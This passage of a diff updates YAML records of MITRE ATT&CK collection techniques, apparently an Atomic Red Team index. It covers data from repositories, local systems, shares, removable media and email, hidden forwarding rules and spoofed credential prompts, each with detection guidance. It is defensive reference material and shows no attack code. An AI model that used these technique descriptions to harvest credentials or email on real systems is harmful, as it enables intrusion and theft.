+        access to information repositories performed by privileged users (for example,
+        Active Directory Domain, Enterprise, or Schema Administrators) should be closely
+        monitored and alerted upon, as these types of accounts should generally not
+        be used to access information repositories. If the capability exists, it may
+        be of value to monitor and alert on users that are retrieving and viewing
+        a large number of documents and pages; this behavior may be indicative of
+        programmatic means being used to retrieve all data within the repository.
+        In environments with high-maturity, it may be possible to leverage User-Behavioral
+        Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nThe
+        user access logging within Microsoft's SharePoint can be configured to report
+        access to certain pages and documents. (Citation: Microsoft SharePoint Logging)
+        Sharepoint audit logging can also be configured to report when a user shares
+        a resource. (Citation: Sharepoint Sharing Events) The user access logging
+        within Atlassian's Confluence can also be configured to report access to certain
+        pages and documents through AccessLogFilter. (Citation: Atlassian Confluence
+        Logging) Additional log storage and analysis infrastructure will likely be
+        required for more robust detection capabilities. "
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1213
+        external_id: T1213
+        source_name: mitre-attack
+      - source_name: Microsoft SharePoint Logging
+        description: Microsoft. (2017, July 19). Configure audit settings for a site
+          collection. Retrieved April 4, 2018.
+        url: https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2
+      - url: https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events
+        description: Microsoft. (n.d.). Sharepoint Sharing Events. Retrieved October
+          8, 2021.
+        source_name: Sharepoint Sharing Events
+      - source_name: Atlassian Confluence Logging
+        description: Atlassian. (2018, January 9). How to Enable User Access Logging.
+          Retrieved April 4, 2018.
+        url: https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html
     atomic_tests: []
   T1005:
     technique:
-      created: '2017-05-31T21:30:20.537Z'
-      modified: '2020-05-26T19:21:25.974Z'
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Data from Local System
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1005
+        external_id: T1005
+        source_name: mitre-attack
+      x_mitre_data_sources:
+      - 'Script: Script Execution'
+      - 'File: File Access'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.3'
+      modified: '2021-10-15T22:16:42.734Z'
+      x_mitre_system_requirements:
+      - Privileges to access certain files and directories
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: collection
-      type: attack-pattern
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1005
-        external_id: T1005
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5
       description: |
         Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
 
         Adversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106), which has functionality to interact with the file system to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.
-      name: Data from Local System
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5
-      x_mitre_version: '1.2'
-      x_mitre_data_sources:
-      - 'File: File Access'
-      - 'Command: Command Execution'
+      x_mitre_contributors:
+      - William Cain
       x_mitre_detection: Monitor processes and command-line arguments for actions
         that could be taken to collect files from a system. Remote access tools with
         built-in features may interact directly with the Windows API to gather data.
         Data may also be acquired through Windows system management tools such as
         [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047)
         and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
+      created: '2017-05-31T21:30:20.537Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+    atomic_tests: []
+  T1039:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Data from Network Shared Drive
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1039
+        external_id: T1039
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/639.html
+        external_id: CAPEC-639
+        source_name: capec
+      x_mitre_data_sources:
+      - 'File: File Access'
+      - 'Network Share: Network Share Access'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.2'
+      modified: '2020-03-24T15:42:44.026Z'
       x_mitre_system_requirements:
-      - Privileges to access certain files and directories
+      - Privileges to access network shared drive
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
       x_mitre_is_subtechnique: false
-    atomic_tests: []
-  T1039:
-    technique:
       id: attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Data from Network Shared Drive
       description: Adversaries may search network shares on computers they have compromised
         to find files of interest. Sensitive data can be collected from remote systems
         via shared network drives (host shared directory, network file server, etc.)
         that are accessible from the current system prior to Exfiltration. Interactive
         command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106)
         may be used to gather information.
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1039
-        url: https://attack.mitre.org/techniques/T1039
-      - external_id: CAPEC-639
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/639.html
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: collection
-      modified: '2020-03-24T15:42:44.026Z'
-      created: '2017-05-31T21:30:41.022Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_system_requirements:
-      - Privileges to access network shared drive
       x_mitre_detection: Monitor processes and command-line arguments for actions
         that could be taken to collect files from a network share. Remote access tools
         with built-in features may interact directly with the Windows API to gather
         data. Data may also be acquired through Windows system management tools such
         as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047)
         and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
-      x_mitre_data_sources:
-      - 'File: File Access'
-      - 'Network Share: Network Share Access'
-      - 'Command: Command Execution'
-      x_mitre_version: '1.2'
+      created: '2017-05-31T21:30:41.022Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
     atomic_tests: []
   T1025:
     technique:
-      created: '2017-05-31T21:30:31.584Z'
-      modified: '2020-03-24T15:44:46.584Z'
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Data from Removable Media
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1025
+        external_id: T1025
+        source_name: mitre-attack
+      x_mitre_data_sources:
+      - 'File: File Access'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.2'
+      modified: '2021-10-15T22:17:35.218Z'
+      x_mitre_system_requirements:
+      - Privileges to access removable media drive and files
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: collection
-      type: attack-pattern
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1025
-        external_id: T1025
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec
       description: "Adversaries may search connected removable media on computers
         they have compromised to find files of interest. Sensitive data can be collected
         from any removable media (optical disk drive, USB memory, etc.) connected
@@ -8878,61 +9148,51 @@ collection:
         may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106)
         may be used to gather information. \n\nSome adversaries may also use [Automated
         Collection](https://attack.mitre.org/techniques/T1119) on removable media."
-      name: Data from Removable Media
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec
-      x_mitre_version: '1.1'
-      x_mitre_data_sources:
-      - 'File: File Access'
-      - 'Command: Command Execution'
+      x_mitre_contributors:
+      - William Cain
       x_mitre_detection: Monitor processes and command-line arguments for actions
         that could be taken to collect files from a system's connected removable media.
         Remote access tools with built-in features may interact directly with the
         Windows API to gather data. Data may also be acquired through Windows system
         management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047)
         and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
-      x_mitre_system_requirements:
-      - Privileges to access removable media drive and files
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_is_subtechnique: false
+      created: '2017-05-31T21:30:31.584Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
     atomic_tests: []
   T1114:
     technique:
-      id: attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Email Collection
-      description: 'Adversaries may target user email to collect sensitive information.
-        Emails may contain sensitive data, including trade secrets or personal information,
-        that can prove valuable to adversaries. Adversaries can collect or forward
-        email from mail servers or clients. '
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1114
-        url: https://attack.mitre.org/techniques/T1114
-      - description: McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding.
-          Retrieved October 8, 2019.
-        url: https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/
-        source_name: Microsoft Tim McMichael Exchange Mail Forwarding 2
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: Email Collection
+      x_mitre_data_sources:
+      - 'File: File Access'
+      - 'Network Traffic: Network Connection Creation'
+      - 'Logon Session: Logon Session Creation'
+      - 'Command: Command Execution'
+      - 'Application Log: Application Log Content'
+      x_mitre_version: '2.3'
+      modified: '2021-10-15T20:19:33.750Z'
+      created: '2017-05-31T21:31:25.454Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: collection
-      modified: '2021-04-14T14:22:44.435Z'
-      created: '2017-05-31T21:31:25.454Z'
-      x_mitre_contributors:
-      - Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)
-      x_mitre_is_subtechnique: false
-      x_mitre_permissions_required:
-      - User
+      id: attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f
       x_mitre_platforms:
       - Windows
       - Office 365
       - Google Workspace
+      - macOS
+      - Linux
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      description: 'Adversaries may target user email to collect sensitive information.
+        Emails may contain sensitive data, including trade secrets or personal information,
+        that can prove valuable to adversaries. Adversaries can collect or forward
+        email from mail servers or clients. '
+      x_mitre_contributors:
+      - Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)
       x_mitre_detection: |-
         There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.
 
@@ -8943,100 +9203,99 @@ collection:
         Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account.
 
         Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include <code>X-MS-Exchange-Organization-AutoForwarded</code> set to true, <code>X-MailFwdBy</code> and <code>X-Forwarded-To</code>. The <code>forwardingSMTPAddress</code> parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the <code>X-MS-Exchange-Organization-AutoForwarded</code> header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.
-      x_mitre_data_sources:
-      - 'File: File Access'
-      - 'Network Traffic: Network Connection Creation'
-      - 'Logon Session: Logon Session Creation'
-      - 'Command: Command Execution'
-      - 'Application Log: Application Log Content'
-      x_mitre_version: '2.2'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1114
+        external_id: T1114
+        source_name: mitre-attack
+      - source_name: Microsoft Tim McMichael Exchange Mail Forwarding 2
+        description: McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding.
+          Retrieved October 8, 2019.
+        url: https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/
     atomic_tests: []
   T1114.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1114.003
-        url: https://attack.mitre.org/techniques/T1114/003
-      - source_name: US-CERT TA18-068A 2018
-        url: https://www.us-cert.gov/ncas/alerts/TA18-086A
-        description: US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted
-          by Cyber Actors. Retrieved October 2, 2019.
-      - source_name: Microsoft Tim McMichael Exchange Mail Forwarding 2
-        url: https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/
-        description: McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding.
-          Retrieved October 8, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Email Forwarding Rule
-      description: "Adversaries may setup email forwarding rules to collect sensitive
-        information. Adversaries may abuse email-forwarding rules to monitor the activities
-        of a victim, steal information, and further gain intelligence on the victim
-        or the victim’s organization to use as part of further exploits or operations.(Citation:
-        US-CERT TA18-068A 2018) Outlook and Outlook Web App (OWA) allow users to create
-        inbox rules for various email functions, including forwarding to a different
-        recipient. Similarly, Google Workspace users or administrators can set up
-        mail forwarding rules via the Google Workspace web interface. Messages can
-        be forwarded to internal or external recipients, and there are no restrictions
-        limiting the extent of this rule. Administrators may also create forwarding
-        rules for user accounts with the same considerations and outcomes.(Citation:
-        Microsoft Tim McMichael Exchange Mail Forwarding 2) \n\nAny user or administrator
-        within the organization (or adversary with valid credentials) can create rules
-        to automatically forward all received messages to another recipient, forward
-        emails to different locations based on the sender, and more."
-      id: attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0
       type: attack-pattern
+      name: Email Forwarding Rule
+      x_mitre_data_sources:
+      - 'Application Log: Application Log Content'
+      x_mitre_version: '1.2'
+      modified: '2021-10-15T20:19:33.416Z'
+      created: '2020-02-19T18:54:47.103Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: collection
-      modified: '2021-03-25T13:08:30.699Z'
-      created: '2020-02-19T18:54:47.103Z'
-      x_mitre_contributors:
-      - Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      x_mitre_detection: |-
-        Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account.
-
-        Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.
-      x_mitre_data_sources:
-      - 'Application Log: Application Log Content'
+      id: attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0
       x_mitre_platforms:
       - Office 365
       - Windows
       - Google Workspace
+      - macOS
+      - Linux
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      description: |-
+        Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)
+
+        Any user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)
+      x_mitre_contributors:
+      - Microsoft Security
+      - Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)
+      x_mitre_detection: |-
+        Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. This is especially true in cases with hidden auto-forwarding rules. This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules)
+
+        Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1114/003
+        external_id: T1114.003
+        source_name: mitre-attack
+      - url: https://www.us-cert.gov/ncas/alerts/TA18-086A
+        description: US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted
+          by Cyber Actors. Retrieved October 2, 2019.
+        source_name: US-CERT TA18-068A 2018
+      - url: https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/
+        description: Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in
+          Microsoft Exchange. Retrieved October 12, 2021.
+        source_name: Pfammatter - Hidden Inbox Rules
+      - source_name: Microsoft Tim McMichael Exchange Mail Forwarding 2
+        description: McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding.
+          Retrieved October 8, 2019.
+        url: https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/
+      - url: https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac
+        description: Apple. (n.d.). Reply to, forward, or redirect emails in Mail
+          on Mac. Retrieved June 22, 2021.
+        source_name: Mac Forwarding Rules
     atomic_tests: []
   T1056.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1056.002
-        url: https://attack.mitre.org/techniques/T1056/002
-      - external_id: CAPEC-659
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/659.html
-      - url: https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html
-        description: Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits
-          Mackeeper. Retrieved July 3, 2017.
-        source_name: OSX Malware Exploits MacKeeper
-      - source_name: LogRhythm Do You Trust Oct 2014
-        url: https://logrhythm.com/blog/do-you-trust-your-computer/
-        description: Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved
-          December 17, 2018.
-      - url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
-        description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
-          is hungry for credentials. Retrieved July 3, 2017.
-        source_name: OSX Keydnap malware
-      - source_name: Enigma Phishing for Credentials Jan 2015
-        url: https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/
-        description: 'Nelson, M. (2015, January 21). Phishing for Credentials: If
-          you want it, just ask!. Retrieved December 17, 2018.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: GUI Input Capture
+      x_mitre_data_sources:
+      - 'Script: Script Execution'
+      - 'Command: Command Execution'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.1'
+      modified: '2021-08-24T18:21:07.926Z'
+      created: '2020-02-11T18:58:45.908Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: collection
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
+      id: attack-pattern--a2029942-0a85-4947-b23c-ca434698171d
+      x_mitre_platforms:
+      - macOS
+      - Windows
+      - Linux
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: "Adversaries may mimic common operating system GUI components to
         prompt users for credentials with a seemingly legitimate prompt. When programs
         are executed that need additional privileges than are present in the current
@@ -9047,34 +9306,52 @@ collection:
         legitimate prompt for a number of reasons that mimic normal usage, such as
         a fake installer requiring additional access or a fake malware removal suite.(Citation:
         OSX Malware Exploits MacKeeper) This type of prompt can be used to collect
-        credentials via various languages such as AppleScript(Citation: LogRhythm
-        Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and PowerShell(Citation:
+        credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation:
+        LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation:
+        Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation:
         LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials
-        Jan 2015). "
-      id: attack-pattern--a2029942-0a85-4947-b23c-ca434698171d
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: collection
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      modified: '2020-03-24T20:56:14.853Z'
-      created: '2020-02-11T18:58:45.908Z'
+        Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems attackers
+        may launch dialog boxes prompting users for credentials from malicious shell
+        scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation:
+        Spoofing credential dialogs) "
       x_mitre_contributors:
       - Matthew Molyett, @s1air, Cisco Talos
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      x_mitre_permissions_required:
-      - User
-      x_mitre_detection: |-
-        Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials.
-
-        Inspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - macOS
-      - Windows
+      x_mitre_detection: "Monitor process execution for unusual programs as well as
+        malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)
+        that could be used to prompt users for credentials. For example, command/script
+        history including abnormal parameters (such as requests for credentials and/or
+        strings related to creating password prompts) may be malicious.(Citation:
+        Spoofing credential dialogs) \n\nInspect and scrutinize input prompts for
+        indicators of illegitimacy, such as non-traditional banners, text, timing,
+        and/or sources. "
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1056/002
+        external_id: T1056.002
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/659.html
+        external_id: CAPEC-659
+        source_name: capec
+      - source_name: OSX Malware Exploits MacKeeper
+        description: Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits
+          Mackeeper. Retrieved July 3, 2017.
+        url: https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html
+      - url: https://logrhythm.com/blog/do-you-trust-your-computer/
+        description: Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved
+          December 17, 2018.
+        source_name: LogRhythm Do You Trust Oct 2014
+      - source_name: OSX Keydnap malware
+        description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
+          is hungry for credentials. Retrieved July 3, 2017.
+        url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
+      - url: https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/
+        description: Johann Rehberger. (2021, April 18). Spoofing credential dialogs
+          on macOS Linux and Windows. Retrieved August 19, 2021.
+        source_name: Spoofing credential dialogs
+      - url: https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/
+        description: 'Nelson, M. (2015, January 21). Phishing for Credentials: If
+          you want it, just ask!. Retrieved December 17, 2018.'
+        source_name: Enigma Phishing for Credentials Jan 2015
       identifier: T1056.002
     atomic_tests:
     - name: AppleScript - Prompt User for Password
@@ -9113,38 +9390,8 @@ collection:
     technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1056
-        url: https://attack.mitre.org/techniques/T1056
-      - external_id: CAPEC-569
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/569.html
-      - url: http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf
-        description: 'Tinaztepe,  E. (n.d.). The Adventures of a Keystroke:  An in-depth
-          look into keyloggers on Windows. Retrieved April 27, 2016.'
-        source_name: Adventures of a Keystroke
-      description: Adversaries may use methods of capturing user input to obtain credentials
-        or collect information. During normal system usage, users often provide credentials
-        to various different locations, such as login pages/portals or system dialog
-        boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential
-        API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving
-        the user into providing input into what they believe to be a genuine service
-        (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).
-      name: Input Capture
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: collection
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      modified: '2020-10-21T01:31:35.760Z'
-      created: '2017-05-31T21:30:48.323Z'
-      x_mitre_version: '1.2'
-      x_mitre_contributors:
-      - John Lambert, Microsoft Threat Intelligence Center
+      name: Input Capture
       x_mitre_data_sources:
       - 'Windows Registry: Windows Registry Key Modification'
       - 'Driver: Driver Load'
@@ -9152,53 +9399,77 @@ collection:
       - 'Process: Process Creation'
       - 'File: File Modification'
       - 'Process: Process Metadata'
-      x_mitre_detection: 'Detection may vary depending on how input is captured but
-        may include monitoring for certain Windows API calls (e.g. `SetWindowsHook`,
-        `GetKeyState`, and `GetAsyncKeyState`)(Citation: Adventures of a Keystroke),
-        monitoring for malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059),
-        and ensuring no unauthorized drivers or kernel modules that could indicate
-        keylogging or API hooking are present.'
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
-      - root
-      - User
+      x_mitre_version: '1.2'
+      modified: '2021-08-24T18:21:08.497Z'
+      created: '2017-05-31T21:30:48.323Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: collection
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
+      id: attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
       - Network
       x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      - root
+      - User
+      description: Adversaries may use methods of capturing user input to obtain credentials
+        or collect information. During normal system usage, users often provide credentials
+        to various different locations, such as login pages/portals or system dialog
+        boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential
+        API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving
+        the user into providing input into what they believe to be a genuine service
+        (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).
+      x_mitre_contributors:
+      - John Lambert, Microsoft Threat Intelligence Center
+      x_mitre_detection: 'Detection may vary depending on how input is captured but
+        may include monitoring for certain Windows API calls (e.g. `SetWindowsHook`,
+        `GetKeyState`, and `GetAsyncKeyState`)(Citation: Adventures of a Keystroke),
+        monitoring for malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059),
